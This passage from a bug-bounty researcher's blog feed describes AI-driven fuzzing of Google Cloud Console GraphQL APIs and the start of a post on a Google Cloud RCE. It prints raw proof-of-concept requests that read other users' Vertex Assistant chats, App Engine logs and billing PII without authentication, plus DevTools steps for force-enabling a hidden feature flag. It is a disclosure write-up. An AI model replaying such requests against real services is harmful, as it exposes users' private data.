<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;query&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;query { __schema { types { name } } }&quot;</span>
<span class="hljs-punctuation">}</span></span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;extensions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">7</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;details&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;@type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;type.googleapis.com/google.rpc.ErrorInfo&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;BLOCKED_DEVELOPER_ACCESS&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;cloudconsole-pa.googleapis.com&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>The same staging query as before, just with the <code>Authorization</code> and <code>Cookie</code> headers removed, worked perfectly fine and returned schema data:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;data&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;__schema&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;types&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google_cloud_commerce_producer_v1alpha1_ExternalAccountSpec&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google_cloud_marketplace_partner_v2test_ServiceFlavor_ServiceFlavorAddOn&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;IN_cloud_billing_proto_pricing_data_PercentOffListPriceDiscount&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...</code></pre><p>Given my friend <a href="https://michaeldalton.au" rel="noopener">Michael</a>&#39;s experience with GraphQL, we teamed up to rework the existing fuzzing infrastructure to support GraphQL. </p>
<p>We used <a href="https://graphql.org/learn/introspection/" target="_blank" rel="noopener noreferrer">introspection</a> to scrape all 3448 entity/schema pairs (<code>/v3/entityServices/{entity}/schemas/{schema}:graphql</code>), which we&#39;ve <a href="https://github.com/michaeldaltonau/google-cloud-console-graphql" target="_blank" rel="noopener noreferrer">archived on GitHub</a>. We then set about integrating the Cloud Console GraphQL API into the existing AI fuzzing infrastructure.</p>
<p>GraphQL is <em>in theory</em> fairly simple, and is almost entirely based on nested objects and primitives within a (potentially) cyclical directed graph structure. This structure begins with between one and three <a href="https://spec.graphql.org/September2025/#sec-Root-Operation-Types" target="_blank" rel="noopener noreferrer">root operation types</a> for queries, mutations, and subscriptions. What makes GraphQL unique is that there are no explicit &quot;functions&quot; - <em>every</em> field on a type can have its own arguments.</p>
<p>This sheer flexibility introduced some challenges, since the existing discovery document fuzzing is entirely built around the concept of endpoints (methods), organized into groups for fuzzing. How can we translate that paradigm across to GraphQL?</p>
<p>Well, remember how we hinted that these were being mapped to additional server-side RPC methods? Google didn&#39;t really &quot;design&quot; these APIs as fully-featured GraphQL APIs. Instead, most things just map to batches of RPC requests directly. You can see this in the visualization of the entire graph for the <code>AIPLATFORM_GRAPHQL</code> schema:</p>
<iframe loading="lazy" src="/articles/embeds/hacking-google-with-ai/graphql_aiplatform.html" style="width: 100%; height: 75vh; background-color: #24241e;"></iframe><p>Notice that most of these fields are named like they map directly to RPC methods: e.g., <code>createDeploymentResourcePool</code>, <code>listGalleryNotebooks</code>, and <code>fetchPublisherModelConfig</code>.</p>
<p>Our solution to this issue was to introduce the concept of &quot;query paths&quot; within a schema, each identifying a specific traversal of the graph which we classified as an API &quot;method&quot; that needed testing. For example, in the above graph, the first query path would be <code>iam.iamPolicies</code> (this takes an argument of type <code>google.iam.v1.GetIamPolicyRequest</code> so is obviously mapped to a server-side method call).</p>
<p>We developed a set of heuristics for identifying methods within the GraphQL schema. We first started with each of the root types (queries, mutations, and subscriptions), and recursively traversed downwards, stopping when any of the following conditions were satisfied:</p>
<ul>
<li>the field takes any arguments</li>
<li>the field type is a scalar (string, number, date, etc.)</li>
<li>the field type is an object and the <em>name</em> of that type contains an underscore (signifying that it was converted from an internal protobuf definition)</li>
</ul>
<p>These heuristics were generally accurate, but remember this was just a way to structure the AI input into groups, so it didn&#39;t need to be 100% perfect.</p>
<p>From here we <a href="#group-based-classification">grouped the query paths together</a> as if they were methods. We removed all types and fields that were unnecessary for the query paths contained in each group (to reduce the context size), and then serialized the schema into <a href="https://www.apollographql.com/tutorials/lift-off-part1/03-schema-definition-language-sdl" target="_blank" rel="noopener noreferrer">SDL format</a>. Here&#39;s an extract of what the system prompt ended up looking like:</p>
<pre><code>Target GraphQL Server: TransferEntityService/TRANSFER_GRAPHQL

## Instructions

1. For every query path provided: probe with different auth states and IDs (schemas already provided below)
2. Call confirm_testing_complete when done

## Complete GraphQL SDL Schema

schema {
  query: StorageTransferServiceQuery
  mutation: StorageTransferServiceMutations
}

&quot;&quot;&quot;
Directive used to control IAM Policies on RPC methods.

go/graphql-directives/Policy
&quot;&quot;&quot;
directive @Policy(fieldPolicies: [_FieldPolicy]) on FIELD_DEFINITION

...</code></pre><p>We also replaced the <code>probe_api</code> MCP tool with a <code>query</code> tool that took a single string argument with the GraphQL query. Whenever a query was made, we parsed the entire query and extracted the relevant query paths covered by that request, which ensured 100% test coverage of the group. This also meant we could reject any invalid syntax or type hallucinations <em>before</em> hitting the live API.</p>
<p>Michael also built this awesome frontend (based on <a href="https://github.com/graphql/graphiql" target="_blank" rel="noopener noreferrer">GraphiQL</a> and <a href="https://github.com/OneGraph/graphiql-explorer" target="_blank" rel="noopener noreferrer">GraphiQL explorer</a>) for us to be able to easily test queries by hand:</p>
<p><img src="/assets/hacking-google-with-ai/gcp-cloudclient-gql.svg" alt="GCP CloudClient GraphQL response viewer" loading="lazy" /></p>
<p>Unsurprisingly, we were able to find many bugs.</p>
<h4 id="app-engine-request-logs"><a class="anchor" href="#app-engine-request-logs" aria-hidden="true">#</a>App Engine request logs</h4><p>The first GraphQL bug found was in the <code>GetDashboardAppStats</code> query in <code>GaeEntityService/GAE_GRAPHQL</code>. It returns the last 24 hours of App Engine request logs for a given project, but never validates whether the caller has any IAM access to that project. It doesn&#39;t even require authentication.</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/GaeEntityService/schemas/GAE_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.googleapis.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;querySignature&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2/VJ90q4bb64J0SYMpvOTFtLoFI93m/JJI7EBpxM/ELZI=&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;operationName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GetDashboardAppStats&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;variables&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;projectId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;bughunters&quot;</span><span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>To confirm this was a bug, we visited a unique URL on Google&#39;s Bug Hunters site (which uses App Engine) at <code>https://bughunters.google.com/gaedemo/meow</code>, waited about 30 seconds for the logs to propagate, and then sent the request above with <code>projectId: bughunters</code>. Sure enough, our URL came right back in the response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;dashboardAppStats&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;loadStats&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;uri&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;requestsPerMinute&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">6.8</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;requests&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;20472&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;latencyMillis&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">22.05</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      ...
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;uri&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/gaedemo/meow&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;requestsPerMinute&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.2</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;requests&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;latencyMillis&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">10</span><span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>As you can imagine, request URLs usually contain password reset URLs, webhooks, tokens etc. that could allow sensitive actions. We recorded a short PoC video to demonstrate the impact:</p>
<iframe loading="lazy" src="https://www.youtube.com/embed/GSVro3nQmXw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><blockquote>
<p>You can find the demo app engine project used in this PoC <a href="https://github.com/ddd/GAE-POC" target="_blank" rel="noopener noreferrer">here</a></p>
</blockquote>
<p>This was awarded <strong>$18,000</strong> under: <em>This report was of exceptional quality! Vulnerability category is &quot;Single-Service Privilege Escalation - READ&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1. We applied a downgrade because the result is limited to reading access logs and impact is highly dependent on the victim&#39;s setup.</em></p>
<p>This vulnerability was assigned <strong><a href="https://www.cve.org/CVERecord?id=CVE-2026-8934" target="_blank" rel="noopener noreferrer">CVE-2026-8934</a></strong>.</p>
<h4 id="vertex-assistant"><a class="anchor" href="#vertex-assistant" aria-hidden="true">#</a>Vertex Assistant</h4><p>The AI surfaced some interesting unauthenticated GraphQL queries against an <code>AiplatformEntityService</code> entity that looked suspicious. An <code>AgentListSessions</code> query seemed to lack authentication entirely, and was definitely vulnerable in one way or another given that our attacker account could read the victim&#39;s data.</p>
<p>Our challenge then became reverse-engineering the behemoth that is Cloud Console, and actually <strong>locating</strong> this mysterious vulnerable feature.</p>
<p>After scraping the complete <strong>5 gigabytes of frontend JavaScript</strong> (yes, you read that correctly) for Cloud Console, we did some static analysis and experimentation in DevTools. We eventually figured out that this feature was <strong>Vertex Assistant</strong>, a chat assistant used for picking AI models and answering platform questions about Vertex AI (now <a href="https://cloud.google.com/products/gemini-enterprise-agent-platform" target="_blank" rel="noopener noreferrer">Gemini Enterprise Agent Platform</a>). The feature was still experimental, and was hidden behind the frontend feature flag <code>45737108</code>.</p>
<p>To actually test the bug, we first needed to populate test sessions, which meant force-enabling the feature flag client-side. These flags were set in the initial HTML response for the page, but for some reason the feature flags payload was obfuscated with an XOR cipher: </p>
<pre><code class="hljs language-js"><span class="hljs-title class_">FlagManager</span>.<span class="hljs-property"><span class="hljs-keyword">prototype</span></span>.<span class="hljs-property">parsePayload</span> = <span class="hljs-keyword">function</span> (<span class="hljs-params">a</span>) {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">var</span> b = <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(a) [<span class="hljs-number">0</span>];
    a = <span class="hljs-string">&#x27;&#x27;</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> c = <span class="hljs-number">0</span>; c &lt; b.<span class="hljs-property">length</span>; c++) a += <span class="hljs-title class_">String</span>.<span class="hljs-title function_">fromCharCode</span>(
      b.<span class="hljs-title function_">charCodeAt</span>(c) ^ <span class="hljs-string">&#x27;\u0003\u0007\u0003\u0007\u0008\u0004\u0004\u0006\u0005\u0003&#x27;</span>.<span class="hljs-title function_">charCodeAt</span>(c % <span class="hljs-number">10</span>)
    );
    <span class="hljs-variable language_">this</span>.<span class="hljs-property">aa</span> = <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(a)
  } <span class="hljs-keyword">catch</span> (d) {}
};</code></pre><p>Intercepting and editing this XOR &#39;encrypted&#39; response was a pain to test with, and definitely wouldn&#39;t be fun for Cloud VRP triagers to reproduce either.</p>
<h5 id="force-enabling-the-feature-flag"><a class="anchor" href="#force-enabling-the-feature-flag" aria-hidden="true">#</a>Force-enabling the feature flag</h5><p>The trick we ended up using was to hook directly into the page lifecycle and set a breakpoint immediately after the feature flag payload was parsed, at which point we could enable the feature flag before the SPA URL routing code ran to redirect away from the Vertex Assistant page. The final instructions we sent to the Cloud VRP team for enabling the flag were as follows:</p>
<p><strong>Step 1.</strong> Visit <code>https://console.cloud.google.com/</code>. Open DevTools, switch to the Sources panel, and use the global search (enable it from the tabs overflow menu if you don&#39;t see it) to search for <code>typescript_experiment_flags</code>.</p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_1.png" alt="" loading="lazy" /></p>
<p><strong>Step 2.</strong> Open the search result whose path begins with <code>m=core</code> and pretty-print the JS if it isn&#39;t already.</p>
<p><strong>Step 3.</strong> Search inside that file for <code>window.invalidateFlagsCache</code> and set a breakpoint on that line. Note the variable name immediately before <code>typescript_experiment_flags</code> (a short identifier, here <code>skb</code>). We&#39;ll need it in a moment.</p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_2.png" alt="" loading="lazy" /></p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_3.png" alt="" loading="lazy" /></p>
<p><strong>Step 4.</strong> Navigate to <code>https://console.cloud.google.com/vertex-ai/model-garden/agent/</code>. The breakpoint will hit during page load.</p>
<p><strong>Step 5.</strong> In the DevTools console, run:</p>
<pre><code class="hljs language-js">&lt;<span class="hljs-variable constant_">IDENT</span>&gt;.<span class="hljs-property">typescript_experiment_flags</span>.<span class="hljs-property">aa</span>[<span class="hljs-string">&#x27;45737108&#x27;</span>] = <span class="hljs-literal">true</span></code></pre><p>replacing <code>&lt;IDENT&gt;</code> with the variable name from Step 3.</p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_4.png" alt="" loading="lazy" /></p>
<p>Then resume script execution.</p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_5.png" alt="" loading="lazy" /></p>
<p>The Vertex Assistant UI now renders and you can chat with it as a normal user would:</p>
<p><img src="/assets/hacking-google-with-ai/vertex_assistant_6.png" alt="" loading="lazy" /></p>
<h5 id="the-actual-bug"><a class="anchor" href="#the-actual-bug" aria-hidden="true">#</a>The actual bug</h5><p>Once we could populate sessions, we looked at the GraphQL traffic. None of the relevant queries in the <code>AIPLATFORM_GRAPHQL</code> schema checked any authentication or authorization at all. <code>AgentListSessions</code>, <code>AgentGetSession</code>, <code>AgentCreateSession</code>, <code>AgentRunAgent</code>, and <code>AgentRunStreamAgent</code> all worked unauthenticated, scoped purely by the <code>userId</code> you passed in. So if you knew a target user&#39;s email, you could list their sessions, read every transcript, append to chats, or create/delete sessions on their behalf.</p>
<p><code>AgentListSessions</code> returns the session IDs and titles for any user:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/AiplatformEntityService/schemas/AIPLATFORM_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.googleapis.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-perl">{
  <span class="hljs-string">&quot;operationName&quot;</span>: <span class="hljs-string">&quot;AgentListSessions&quot;</span>,
  <span class="hljs-string">&quot;querySignature&quot;</span>: <span class="hljs-string">&quot;2/8KaF+/GsptfYw+6iMvMaS9vha4Rg0eu3Y+ZLAVgQIuk=&quot;</span>,
  <span class="hljs-string">&quot;variables&quot;</span>: {<span class="hljs-string">&quot;userId&quot;</span>: <span class="hljs-string">&quot;gvrptest<span class="hljs-variable">@gmail</span>.com&quot;</span>}
}</span></code></pre><pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;agentListSessions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;sessionMetadatas&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;sessionId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;8332719927039361024&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;sessionTitle&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Identity Inquiry&quot;</span><span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Take any of those session IDs and feed them into <code>AgentGetSession</code> to dump the full transcript:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/AiplatformEntityService/schemas/AIPLATFORM_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.googleapis.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-perl">{
  <span class="hljs-string">&quot;operationName&quot;</span>: <span class="hljs-string">&quot;AgentGetSession&quot;</span>,
  <span class="hljs-string">&quot;querySignature&quot;</span>: <span class="hljs-string">&quot;2/AO7ga8d1fL5KCO47XXKk6CH+U7d8d2ZQiJdIJhQw4bo=&quot;</span>,
  <span class="hljs-string">&quot;variables&quot;</span>: {
    <span class="hljs-string">&quot;userId&quot;</span>: <span class="hljs-string">&quot;gvrptest<span class="hljs-variable">@gmail</span>.com&quot;</span>,
    <span class="hljs-string">&quot;sessionId&quot;</span>: <span class="hljs-string">&quot;8332719927039361024&quot;</span>
  }
}</span></code></pre><p>The response is the entire chat transcript for that session, every message in both directions. Same pattern applies to the write-side queries: a target user&#39;s email plus a session ID is enough to delete chats, append messages, or create new sessions in their name.</p>
<p>This was awarded <strong>$30,000</strong> under: <em>Single-Service Privilege Escalation - WRITE vulnerability affecting Google Cloud products on a Tier 1 domain. We want to acknowledge the exceptional quality of your report. Although the affected system was not yet released and did not contain customer data, we are making an exception for this reward, in the future we might not reward similar reports.</em></p>
<blockquote>
<p>The Cloud VRP panel later clarified: <em>&quot;In this case, we spoke with the team and we believe that it would likely to have been missed and will be released so we decided to reward.&quot;</em></p>
</blockquote>
<h4 id="google-maps-platform-billing-credits"><a class="anchor" href="#google-maps-platform-billing-credits" aria-hidden="true">#</a>Google Maps Platform billing credits</h4><p>The <code>ListBillingAccountCredits</code> query in <code>MapsEntityService/GMP_GRAPHQL</code> had no authentication or authorization checks. Worse, passing the wildcard parent <code>accounts/-</code> returned credits for a ton of Google Maps Platform billing accounts:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/MapsEntityService/schemas/GMP_GRAPHQL:graphql</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.clients6.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;operationName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ListBillingAccountCredits&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;querySignature&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2/PLZM6tPHnh+3j6TeXTUboku0xt0aNaCs1s/soTFtHO4=&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;variables&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;listBillingAccountCreditsRequest&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;parent&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;accounts/-&quot;</span><span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>The response is the list of credits for many Maps Platform customers. Each entry includes the billing account ID, credit program (<code>NON_PROFIT</code>, <code>STARTUP</code>, etc.), dollar amount, approval status, and a free-text <code>justification</code> field:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;accounts/01227D-A5F4ED-0966FA/credits/00028A71-7131-411C-A512-99A60386B6AC&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;campaignId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;creditPrograms/NON_PROFIT&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;duration&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;months&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;12&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;amount&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;dollars&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2500&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;APPROVED&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;createTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2023-06-14T22:55:14Z&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>The <code>justification</code> field is where things get interesting. Google staff write whatever they want into it when approving credits, and the field gets returned here unfiltered. Unsurprisingly, this contained customer PII left in by Google staff:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;justification&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;61795668 &lt;redacted&gt;@gmail.com&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
<span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;justification&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Case # 16827766, &lt;redacted&gt;@gmail.com, customer is working with the partner on optimizing their App and need 1 month to finalize.&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
<span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;justification&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;16952104,&lt;redacted&gt;@gmail.com,transition credit extension&quot;</span><span class="hljs-punctuation">}</span></code></pre><p>This was awarded <strong>$12,000</strong> under: <em>This report was of exceptional quality! Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information. We applied a downgrade because of minor impact the attack may have.</em></p>
<p>The Google Maps team later clarified that this only affected a <em>subset</em> of customers.</p>
<h3 id="wrapping-up"><a class="anchor" href="#wrapping-up" aria-hidden="true">#</a>Wrapping up</h3><p>Three months of this setup turned up over <strong>$500,000</strong> in bounties, only a fraction of which made it here. Most Google bugs don&#39;t need clever exploitation, just patience. The same broken patterns showed up everywhere: missing IAM checks on cross-tenant resources, GraphQL schemas with no authorization, debug endpoints in prod, sandbox environments pointing at prod data. The AI&#39;s job wasn&#39;t to be novel, it was to be tireless about the obvious on a surface too large for a human to cover end-to-end.</p>
<p>A few takeaways:</p>
<ul>
<li>The <code>operation_id</code> replay system was what made the workflow productive. Without one-click confirm, AI output is unusable noise.</li>
<li>With a discovery doc, GraphQL SDL, or proto in hand, the AI knows what input to provide the API to meaningfully test it.</li>
<li>Google&#39;s server-side attack surface is very standardized. If you can abstract most of it away from the AI, it can spend more time testing the actual API rather than figuring out the infra quirks.</li>
</ul>
<p>Huge thanks to <a href="https://michaeldalton.au" rel="noopener">Michael Dalton</a> for the GraphQL collab (and co-authoring that section of this post), to Google VRP for the patience in fixing all of these bugs, and to whoever invited me to bugSWAT Mexico, where this all started.</p>
]]></content:encoded>
            <author>Arvin Shivram</author>
            <enclosure url="https://brutecat.com/assets/hacking-google-with-ai-compressed-2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[StubZero: $148,337 RCE in Google Cloud Production]]></title>
            <link>https://brutecat.com/articles/google-cloud-rce</link>
            <guid isPermaLink="false">google-cloud-rce</guid>
            <pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A chance Discord message, two missing pieces, and one hour before the window closed: From info leak to RCE on Google Cloud. Three months later, it happened again.]]></description>
            <content:encoded><![CDATA[<p>What started as a debugging endpoint info leak escalated into full remote code execution on Google Cloud&#39;s production environment. Three months later, it happened again. This vulnerability was assigned <strong><a href="https://www.cve.org/CVERecord?id=CVE-2026-2031" target="_blank" rel="noopener noreferrer">CVE-2026-2031</a></strong>.</p>
<p>This story starts with one of my automated fuzzing tools alerting me about the API <strong>cloudcrmipfrontend-pa.googleapis.com</strong>, as it was responding with status 200 to some suspicious endpoints. On further inspection, the API seems to have several public debugging endpoints:</p>
<p><img src="/assets/google-cloud-rce/get_people_debug_endpoint.png" alt="" loading="lazy" /></p>
<p><em>Screenshot from an internal API explorer tool I built for testing internal Google APIs from a <a href="/articles/decoding-google">discovery document</a></em></p>
<h3 id="req2proto-as-a-service"><a class="anchor" href="#req2proto-as-a-service" aria-hidden="true">#</a>req2proto as a Service™</h3><p>Some of the endpoints like <code>GET /v1/integrationPlatform:listServicesByServer</code> seemed to always return internal server error. However, the endpoint <code>/v1/integrationPlatform:getProtoDefinition</code> seemed to return the proto definitions of <strong>any protobuf message in google3</strong> (google&#39;s internal source code monorepo), even for unrelated services like YouTube.</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&amp;isEnum=false</span> <span class="hljs-meta">HTTP/2</span>
